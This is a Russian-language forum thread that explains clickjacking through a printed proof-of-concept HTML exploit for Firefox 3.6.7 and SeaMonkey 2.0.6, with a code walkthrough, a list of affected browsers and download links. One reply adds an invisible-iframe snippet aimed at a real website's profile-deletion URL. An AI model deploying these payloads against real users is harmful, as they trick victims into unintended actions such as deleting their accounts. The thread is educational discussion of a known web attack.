Описание Впервые о данной атаке рассказывал Джереми Гроссман. Потом эту идею подхватили Иранские хакеры из Securitylab.ir в лице Пойа Данешманд, опубликовали несколько эксплойтов на данную тему для различных браузеров. А что такое Clickjacking? А это когда пользователь кликает по ссылке А, а его по какой-то причине кидает на ссылку Б. То есть это некоторая обманка, которая позволяет запудрить жертве мозги (или глаза). Эксплойт выглядит как обычная HTML-страничка. При ее открытии видна ссылка на иранский сайт, если навести мышкой на ссылку, то в статусной строке четко отпишется имя этого сайта. Вроде никакого подвоха. Зато когда кликнешь по ссылке, браузер идет совсем на другой сайт. Как это реализовано - сейчас и посмотрим. Разбирать будем эксплойт для FireFox, так как данный браузер наиболее популярен. Собственно текст HTML: Code: <html><head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <title>FF3.6.7/SM 2.0.6 ClickJacking Vulnerability</title> </head><body> <div id="mydiv" onmouseover="document.location='http://www.mozilla.org';" style="border: 0px none ; background: rgb(0, 0, 0) none repeat scroll 0% 0%; position: absolute; width: 2px; height: 2px; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"></div> <script> function clickjack_armor(evt) { clickjack_mouseX=evt.pageX?evt.pageX:evt.clientX; clickjack_mouseY=evt.pageY?evt.pageY:evt.clientY; document.getElementById('mydiv').style.left=clickjack_mouseX-1; document.getElementById('mydiv').style.top=clickjack_mouseY-1; } </script> <center> <br> <center><h1><font face="Calibri">Firefox 3.6.7 / SeaMonkey 2.0.6 Clickjacking Vulnerability</font></h1> <p> </p> <div style="border-top-style: solid; border-top-width: 1px; padding-top: 1px"> <b><br><br> <a href="http://www.Securitylab.ir" onclick="clickjack_armor(event)"> Go to the http://www.Securitylab.ir : (http://www.mozilla.org)</a></b></div> <div style="border-bottom-style: solid; border-bottom-width: 1px; padding-bottom: 1px"> <p> </div> <p> </p> </center> <div style="border-top-style: solid; border-top-width: 1px; border-bottom-style: solid; border-bottom-width: 1px; padding-top: 1px; padding-bottom: 1px"> <b><font face="Calibri">Pouya Daneshmand, Securitylab.ir</font></b></div> </center></body></html> Первым делом обратим внимание на малюсенький слой <<mydiv>>. Данный слой будет в верхнем левом углу браузера, и, как видно из его свойств, при наведении мышки на этот слой браузер сделает редирект на сайт разработчика браузера. В центре же есть ссылка, но при клике стоит событие на вызов функции clickjack_armor(). При наведении будет указываться ссылка на иранский сайт. Функция clickjack_armor() меняет размеры слоя <<mydiv>> под координаты мышки, что автоматически запускает событие слоя onmouseover и грузится сайт Мозиллы. В итоге для пользователя это выглядит, как если бы он кликнул на один сайт - иранский, а попал на другой - Мозиллы. Браузеры подверженные уязвимости: FireFox 3.6.8 Netscape 9.0.0.6 Opera 10.60 Safari 4.0.2 Для FireFox существуют 2 эксплойта. Первый стандартный ссылка-обманка, а второй доработанный, ссылка-обманка но для переадресации по ней не надо даже кликать, достаточно просто навести курсор и она автоматически активизируется. Я заснял видео эксплуатации данной уязвимости на примере FireFox: http://www.youtube.com/watch?v=mTwiBKzYFDU Скачать эксплойты: http://www.sendspace.com/file/cc7kdk
В каком месте он аккуратный?! Да он из-за одних только стайлов в ширину больше чем в длину! Это первое, а во-вторых clickjack_armor(evt) в идеале - 1 строка! Просто расписан, для тех кому не видно с титаника...
вообще то до сих пор принцип кликджакинг был такой: Открывается страница, на которой прозрачный фрейм на всю страницу, и куда бы ты не кликнул, ты попадаешь на подставную страницу. Так же есть варианты, когда с помощью яваскрипт заставляют ссылку всюду следовать за мышкой, и на какую бы ссылку не нажал, яваскрипт подставляет подставную ссылку. То что ты описал, это обычный яваскрипт в html, функция onmouseover
PHP: <input type="button" id="btn" style="height:20px; margin-left:85px; margin-top:1px; opacity:1; position:absolute; cursor: pointer; width:60px;" value="Los!" /> <iframe style="opacity:0; filter: alpha(opacity = 30); margin-top: -800px; margin-left: -275px; position: absolute;" src="http://www.technobase.fm/profile/delete/" width="800px" height="1000px" id="frame" scrolling="no" allowtransparency="true" />
Пепец, этому способу уже десятки лет наверное, менялся он незначительно, раньше было при помощи window.status, потом просто редирект, и все это через банальный яваскрипт-код. Уязвимости тут никакой нет - просто особенность html и javascript.
Ну как это уязвимсоти нет. А как же первоначальный эксплойт rsnake'a для Adobe Flash, включающий веб-камеру и микрофон? А как же установка нежелательных плагинов в Firefox?
после игры с эксплойта и firebug, использовать несколько раз перестали работать ... Я ничего не изменил... странно ...